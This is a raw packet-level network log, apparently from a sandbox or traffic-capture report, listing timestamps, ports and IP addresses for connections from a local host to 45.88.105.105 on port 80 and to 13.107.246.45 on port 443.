Oct 31, 2024 09:07:08.604918003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604932070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604943037 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.604968071 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.604994059 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.605201960 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605247021 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.605318069 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605328083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605338097 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605350971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605361938 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605367899 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.605375051 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605381966 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.605407953 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.605864048 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605911970 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.605953932 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605966091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.605977058 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.606002092 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.606024981 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.649534941 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.649590969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.649620056 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.649640083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.649641991 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.649681091 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.649794102 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.649806023 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.649857044 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.716351986 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.716408968 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.716456890 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.716468096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.716492891 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.716511011 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.716734886 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.716746092 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.716787100 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.720797062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.720824957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.720849037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.720863104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.720916986 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.720954895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721364975 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721407890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721431971 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721472025 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721555948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721568108 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721596956 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721611977 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721760035 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721800089 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721867085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721904039 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.721970081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721987009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.721998930 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722006083 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722023964 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722044945 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722297907 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722341061 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722398043 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722409010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722417116 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722440958 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722481966 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722652912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722664118 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722675085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722685099 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.722696066 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.722728014 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.723150015 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.723161936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.723192930 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.723309040 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.723321915 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.723351955 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.767044067 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.767064095 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.767075062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.767122984 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.767148972 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.767363071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.767374992 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.767421007 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.833585024 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.833641052 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.833652020 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.833709002 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.833770037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.833941936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.833954096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.834017038 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.837697983 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.837779999 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.837841034 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.837892056 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.837899923 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.837912083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.837939978 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.838357925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838406086 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.838438034 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838485003 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.838582993 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838597059 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838625908 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.838639975 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.838768959 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838813066 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.838907957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838918924 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.838958979 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839034081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839046001 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839060068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839080095 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839102983 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839302063 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839345932 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839401960 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839413881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839425087 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839448929 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839477062 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839747906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839761019 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839773893 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839788914 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.839792013 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839802980 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.839823961 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.840169907 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.840221882 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.840225935 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.840239048 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.840245008 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.840322018 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.880579948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.880635023 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.880692005 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.880723953 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.883928061 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.883996964 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.884027004 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.884038925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.884083033 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.884202957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.884248972 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.884392977 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.884404898 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.884444952 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.950627089 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.950710058 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.950720072 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.950757027 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.950789928 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.950958014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.951008081 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.951047897 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.951057911 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.951138973 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.954765081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.954814911 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.954848051 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.954859018 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.954900026 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.954988003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955032110 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.955404043 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955451012 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.955507040 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955549002 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.955573082 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955615997 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.955765009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955777884 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955790043 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.955811024 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.955836058 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956067085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956113100 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956152916 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956196070 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956212997 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956223965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956231117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956289053 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956533909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956583977 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956629992 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956640959 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956651926 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956679106 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956701994 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.956923008 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956935883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956942081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.956948042 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.957012892 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.957318068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.957361937 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:08.957427979 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.957439899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.957446098 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:08.957504988 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001023054 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001099110 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001110077 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001111031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001143932 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001168013 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001244068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001255989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001266003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001288891 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001326084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001326084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001528025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001542091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001553059 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001573086 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001589060 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.001840115 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.001884937 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.068429947 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.068465948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.068478107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.068563938 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.068563938 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.071959019 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072032928 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072038889 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072256088 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.072551966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072604895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.072660923 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072674036 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072707891 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.072933912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072947025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.072984934 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.073162079 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073174000 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073209047 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.073457003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073470116 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073482990 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073506117 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.073519945 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.073817015 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073905945 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.073951006 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073962927 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073973894 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.073995113 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.074018955 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.074295044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074306965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074318886 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074332952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074342012 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.074352980 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074364901 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074372053 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.074376106 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.074389935 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.074404001 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.075062990 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.075078011 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.075112104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.089093924 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.089188099 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.091519117 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.091538906 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.091934919 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.101383924 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.118015051 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118083954 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.118093014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118108034 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118129969 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.118146896 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.118396044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118407965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118417978 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118444920 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.118459940 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.118628979 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118639946 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118676901 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.118865967 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.118912935 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.147325993 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.160588026 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.160669088 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.160795927 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.160809994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.160845995 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.160860062 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.185095072 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.185111046 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.185122967 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.185338020 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.189038992 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189129114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189141035 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189171076 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.189186096 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.189727068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189739943 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189781904 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.189783096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189821005 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.189981937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.189999104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190011024 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190037012 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.190054893 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.190376043 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190388918 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190428972 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.190604925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190628052 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190639973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190658092 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.190680981 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.190898895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190917969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.190943003 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.190964937 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.191051960 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191066027 CET	80	49709	45.88.105.105	192.168.2.6
